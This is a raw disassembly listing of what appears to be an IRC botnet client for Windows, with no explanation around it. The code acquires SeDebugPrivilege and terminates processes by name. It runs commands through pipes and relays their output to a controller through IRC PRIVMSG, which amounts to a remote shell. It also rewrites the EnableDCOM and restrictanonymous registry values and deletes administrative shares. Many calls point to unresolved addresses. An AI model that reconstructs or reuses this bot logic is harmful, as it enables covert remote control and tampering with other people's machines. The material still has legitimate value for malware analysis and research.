		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CAF94
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CAF78
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198A9
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CAE88
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh


loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_4396C0


loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2830000h
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439720
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		nop
		call	near ptr 26F0C45h
		test	eax, eax
		jnz	loc_41988F


loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4CAF94
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CAE34
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------


loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]


loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]


loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------


loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C2


loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CAE88
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx


loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi


loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx


loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax


loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 26F0C45h
		nop
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------


loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_4398C0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_43989C
		jmp	short loc_419977
; ---------------------------------------------------------------------------


loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_439878


loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 2670287h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		call	near ptr 26F0C45h
		nop
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		nop
		call	near ptr 26508ACh


loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp

; ---------------------------------------------------------------------------
dword_419A00	dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh,	35FF18C4h
					; DATA XREF: ___:004015EEo
		dd 4396BCh, 7505E890h, 0E3EB0224h

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4DB1F8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi


loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4DB200
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi


loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4DB1F4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi


loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB1FC
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D128
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		call	near ptr 2660F23h
		nop
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------


loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20


loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB204


loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB1F8
		call	near ptr 28308E3h
		nop
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB1F4
		nop
		call	near ptr 2830484h
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19


loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		nop
		call	near ptr 2660F23h
		jmp	short loc_419B27
; ---------------------------------------------------------------------------


loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1


loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91


loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi


loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB1F8
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------


loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------


loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_439948
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		nop
		call	near ptr 26D0000h


loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_439920
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26D0000h


loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_4398F0
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26D0000h
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_43350C
		push	esi
		call	dword_4CB030
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB1FC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		call	near ptr 2700000h
		nop
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D128
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2650B82h
		test	eax, eax
		jnz	short loc_419D66


loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------


loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB1F8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB200, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB1F4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB238, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------


loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx


loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4DB204
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_4399AC
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43DEB8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		call	near ptr 2670000h
		nop
		cmp	eax, esi
		mov	dword_43DEC4[edi], eax
		jnz	short loc_419E12
		nop
		call	near ptr 2670859h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_439978
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax


loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------


loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D


loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 26D0000h
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB044, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_438724
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_439C48
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------


loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_439C28


loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_419F17
; ---------------------------------------------------------------------------


loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_439BF8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_439BA8
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------


loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_439B74


loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------


loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_439B38
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------


loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_439B08


loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB06C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CAEB8
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_4399D0


loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_439AE4
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------


loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_439AB8


loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_4399F0
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------


loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C


loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_439A94
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------


loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_439A68


loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi


loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4CB004


loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_439A40
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------


loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_439A10
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB044, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_438768
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_439DC0
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------


loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_439DA4


loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------


loc_41A228:				; CODE XREF: sub_41A19D+36j
		lea	eax, [ebp+var_220]
		push	offset dword_439BF8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
